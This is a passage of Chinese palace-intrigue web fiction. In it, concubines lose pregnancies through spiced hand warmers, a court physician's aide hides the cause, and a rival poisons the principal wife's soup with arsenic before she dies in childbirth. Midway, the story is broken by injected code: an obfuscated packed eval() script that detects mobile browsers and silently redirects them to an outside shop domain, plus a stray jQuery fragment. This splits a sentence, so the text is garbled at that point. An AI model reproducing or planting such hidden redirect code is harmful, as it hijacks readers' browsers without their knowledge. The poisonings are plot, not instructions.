宜修这些日子总是显得疲惫憔悴。思纭看在眼里,心里替她不平。每日排练霓裳羽衣曲,宜修忙前忙后,端茶递水,指挥调度,比她们这些演奏的人还累。她明明是侧福晋,却像个下人。
“四福晋,”思纭放下鼓槌,“宜福晋脸色不好,让她先回去歇着吧。”柔则看了看宜修,点头。“宜修,你先回去休息。这里有我。”宜修推辞了一下,还是走了。她的背影很瘦,风一吹,衣裳贴在身上,显得单薄。
思纭打鼓,苗连芷弹琴,乌梅吹笛,齐月宾弹琵琶。柔则站在中间指挥,一会儿嫌鼓太密,一会儿嫌琴太慢,一会儿嫌笛子走了调。练了许久,没有进展。柔则急哭了。这曲子是要在万寿节献给皇上的贺礼,她有身孕不能跳舞,乐器合奏总不能马虎应付。孕中本就易急躁,她抓起思纭的鼓槌摔在地上。
“你后面有人在追你吗?鼓打得那么密!再乱打就回去闭门思过!”
思纭的脸涨得通红。她站起来。“婢妾愚笨,搞不来这个。四福晋聪慧识人,可以另请高明。”柔则被顶撞,火气更大。“阖府上下都知道纭福晋臂力最好,一吃完饭就有使不完的力气,没事就爱和门客们比试武功。我们这些身娇肉贵的,哪里有纭福晋的力气大呢。”
思纭越听越不对头,转身想走。觉罗氏叫住了她。
“站住!没给福晋行告退礼就走,成何体统!”思纭不耐烦地略略一蹲。觉罗氏冷笑。“果然是罪臣家出来的,不知礼数。”
思纭的怒火一下子冲上来。“婢妾的额娘是高高在上的长公主,婢妾的阿玛是额驸。你们家擅自培养嫡女前朝靡靡之音,你们家才是罪臣!”
在场的人都跪了下去。思纭愤愤站着,怒视柔则母女。苗连芷连忙打圆场。“思纭姐姐不是这个意思。她本意是想说,四福晋不该花心思在这些小巧上。管家管账、人员流动,这些才该是四福晋操持的。”
柔则的眼泪又掉了下来。“连福晋,你的意思是,我只会这些,别的都不会是吗?”苗连芷把头埋得低低的,拘着礼,肚子里的孩子压得她喘不过气。
齐月宾开口了。“四福晋多才多艺,待人善良。我们有四福晋当主心骨,是我们的福气。婢妾愿为四福晋马首是瞻。”
柔则擦了擦眼泪,让乌梅和齐月宾先去休息。“芳若,你看着纭福晋和连福晋。跪在院子里,两个时辰。不许起来。”她转身随觉罗氏回凤仪楼歇息。
秋风萧瑟。树上的叶子黄了,一片一片往下落。思纭和连芷跪在冰冷的砖地上,寒风从衣领灌进去,吹得她们浑身发抖。连芷的脸色越来越白,嘴唇发紫。思纭咬着牙,一声不吭。
宜修站在锦鸾阁的窗前,看着她们。她让溪竹送了两个暖手炉过去。
“纭福晋,芷福晋,宜福晋说天冷,让你们捧着暖暖手。”思纭接过手炉,心里一暖。“宜修姐姐,还是她心疼人。”连芷也接过来,捧在怀里。手炉里有桂皮和茴香的香气,闻着暖融融的。
没过多久,连芷的肚子开始疼。她以为是跪太久了,换了个姿势。可疼越来越烈,像有什么东西在往下坠。思纭也疼了,脸色煞白,额头上全是冷汗。
“芳若姐姐……我肚子疼……”连芷的声音在发抖。芳若走过来,看见地上有一滩血。她的脸一下子白了。
“快!快叫府医!”
温华正和医女闫婼圭赶来的时候,思纭和连芷已经疼得说不出话了。血还在流,染红了裙摆,滴在砖地上,渗进砖缝里。孩子没了。两个都没了。
温华正在检查手炉时闻到了桂皮的气味。他的手指在炉壁上停了很久。他找到闫婼圭。“手炉里的香料,你闻出来了吗?”
闫婼圭低着头。“闻出来了。”
“那你为什么不说?”
闫婼圭抬起头,看着他。“温大人应该知道,你我首先是奴才,其次才是府医。做奴才的能有前程,全靠主子。你也不想睁开眼睛就被贬回乡下,给那些付不起医药费的贫农和乞丐看病吧。德妃娘娘赏识我,我自然要维护好德妃娘娘的侄女。”
温华正沉默了。他没有再说话。
思纭躺在床上,眼睛直直地盯着帐顶。她的手覆在空荡荡的肚子上。孩子没了。她的孩子,没了。连芷蜷缩在被子里,小声地哭。她不敢大声,怕被人听见。她是侍妾,没了孩子,是自己福薄,怨不得人。
柔则听说二人小产,吓坏了。她不会管理内务,不知道该怎么办。她让人把思纭和连芷换下来的血衣血裙收好,亲自拿去浣衣局清洗。尽一尽福晋之责。
浣衣局里,大冬天的,宫女们的手泡在冰水里,冻得通红。一个叫崔槿汐的宫女蹲在池边,搓着一盆脏衣服。她的手背裂了好几道口子,血丝渗出来,又被冰水冲走。
柔则看见了,上前问她。“怎么天这样冷,你们洗衣服不先烧了热水吗?这手冻成这样,该有多疼啊。”
槿汐低着头。“奴婢贱皮贱肉,不碍事的。”柔则让琼罗把一盒冻伤膏交给她。“快除夕了,别再用冷水洗衣服了。女孩子应该把手保护好,以后才有夫君疼爱。”
槿汐接过冻伤膏,磕头谢恩。她没有问那些血衣是怎么回事。她只是静静地接下主子的委托,继续搓洗。脏衣服一件接一件,血水一盆接一盆。
夏天畴得知思纭小产,冲到八爷府找四爷。“四爷,纭福晋的孩子没了!这到底是怎么回事?”
四爷正在陪八爷下棋。八福晋扭着步子过来,笑嘻嘻地说:“听说今个儿午后,四哥的院子里闹了好大的矛盾。纭福晋那是对四福晋大不敬,才被四嫂下令罚跪了两个时辰。四嫂明明那样一个温吞的人都受不得纭福晋冒犯,何况旁人。”
夏天畴急了。“纭福晋不是那样的人!她不会随便冒犯四福晋!”
八爷府的小太监在旁边小声说:“奴才听说连福晋也受了罚。可连福晋那样一个老实本分的人,怎么可能会冒犯四福晋呢?”八福晋鄙夷道:“还能为什么,狐媚子犯狐媚,惹恼了四嫂呗。”
四爷放下棋子。“菀菀不是那样小肚鸡肠的女人。定是有什么缘故。我会亲自找菀菀问清楚。”
凤仪楼里,柔则伏在觉罗氏膝上哭成泪人。“额娘,我不是故意的……我不知道她们有孕……我不知道会这样……”
觉罗氏抚着她的头发。“不能怪你。都是那两个侧福晋不好。她们顶撞你,出言不逊,你才罚她们的。事前不知道她们有孕,若是知道,便不会让她们跪那么久了。”
四爷来了。觉罗氏把经过说了一遍——思纭顶撞柔则,连芷出言讽刺,柔则孕中急躁,罚跪了二人。“事前并不知道她们也怀有身孕。若是知道,菀菀便不会让她们跪那么久了。”
柔则瑟缩在四爷怀里,像一只受惊的小猫小狗。四爷搂着她,轻声安慰。“没事了,没事了。不是你的错。”他亲了亲她的额头。柔则闭上眼睛,眼泪从眼角滑落。
思纭恨透了柔则
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916129|213324||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她让侍女木童出府,去了城郊阎罗殿,在那里给柔则供了长生牌位。谁都知道这个举动意味着什么。她日日口出怨言,诅咒柔则小产。她的孩子没了,柔则的孩子也别想活。宜修从廊下经过时,隔窗听见里面的哭骂声,唏嘘不已,但只叮嘱木童好生照顾侧福晋。
休养了一段时间后,柔则的产期临近了。我跪在宝华殿内,祈求神佛保佑柔则这胎母子平安。香火缭绕,木鱼声声。我磕了一个头,又一个头。
宜修炖了虫草鸡汤。她端着汤碗走进凤仪楼。“姐姐,喝碗鸡汤补补身子。”柔则接过来,喝了一口。“宜修,你炖的汤越来越好喝了。鸡肉炖得软烂,鸡汤也很鲜美。”
宜修笑了。“姐姐喜欢,我天天给你炖。”她不知道,那汤的底料里,有损胎气的食材,今天,特意加了一点砒霜,只有一点点,化在了鸡汤里。她不知道,她喝下去的每一口,都是在送她的孩子上路。
柔则难产了。产婆忙进忙出,一盆盆血水端出来。齐月宾在产房里给柔则加油打气,握着她的手。“福晋,用力,再用力……”
觉罗氏和四爷在门外焦急等待。产婆出来了,跪在地上。“四爷,福晋胎位不正,下得困难……保大还是保小?”
四爷犹豫了。觉罗氏说:“保大。以后菀菀还能继续生。”
宜修打断她。“额娘,你糊涂了。姐姐肚子里的,那可是四爷的龙种。”四爷开口了。“保小。”
柔则的血止不住了。孩子出来了,浑身青紫,没有动静。齐月宾看了一眼,立刻让人把孩子裹好。她没说话,她的沉默就是答案。
“四郎……四郎……”柔则的声音很轻,轻得像风。
四爷冲进产房,握着她的手。“菀菀,我在。”柔则看着他,眼泪顺着眼角往下流。“四郎……照顾好……宜修……”
她闭上眼睛。手垂了下去。宜修跪在床前,哭得撕心裂肺。“姐姐!姐姐!你不要走!”她的眼泪是真的,她失去了姐姐,她自由了。她终于可以当四福晋了。
苏培盛在城郊阎王庙里找到了写有四福晋名字和生辰八字的夺命牌。宜修故作愤怒。“查!给我彻查!看谁敢诅咒我姐姐!”
柔则已经听不见了。她死了。死在四爷怀里,死在新年的前夜。外面的雪下得很大,鹅毛一样。宜修跪在雪地里,哭得浑身发抖。没有人知道她在哭什么。
下人飞奔来报。“四爷,纭福晋打伤了护卫,一个人往贝勒府东门大胡同跑了!”四爷当即下令。“务必把人追回来!还有苗连芷,看管起来!”
苗连芷坐在屋里,听着外面的动静。她忽然明白了。暖手炉,果脯蜜饯,换了医女——都是宜修。她的孩子,是宜修害死的。思纭的孩子,也是宜修害死的。四福晋的孩子,也是宜修害死的。她害了那么多人,没有人知道。
思纭拼命往尼姑庵跑。顾长卿在那里,她要找到顾长卿,问她——我们的孩子,是怎么没的?她跑啊跑,风灌进嘴里,刀子一样。身后有马蹄声。越来越近。她不敢回头。她知道回头就会死。可她还想活着,活着替她的孩子报仇。
黑衣蒙面的血滴子拿着画像,在夜色中搜寻她的下落。雪越下越大,脚印很快就会被覆盖。思纭躲在一棵大树后,屏住呼吸。马蹄声从她身边过去,越来越远。她靠在树上,大口大口地喘气。她的手还在抖。她的肚子还疼。她的孩子没了。她什么都没有了。可她不能死。她死了,谁替她的孩子报仇?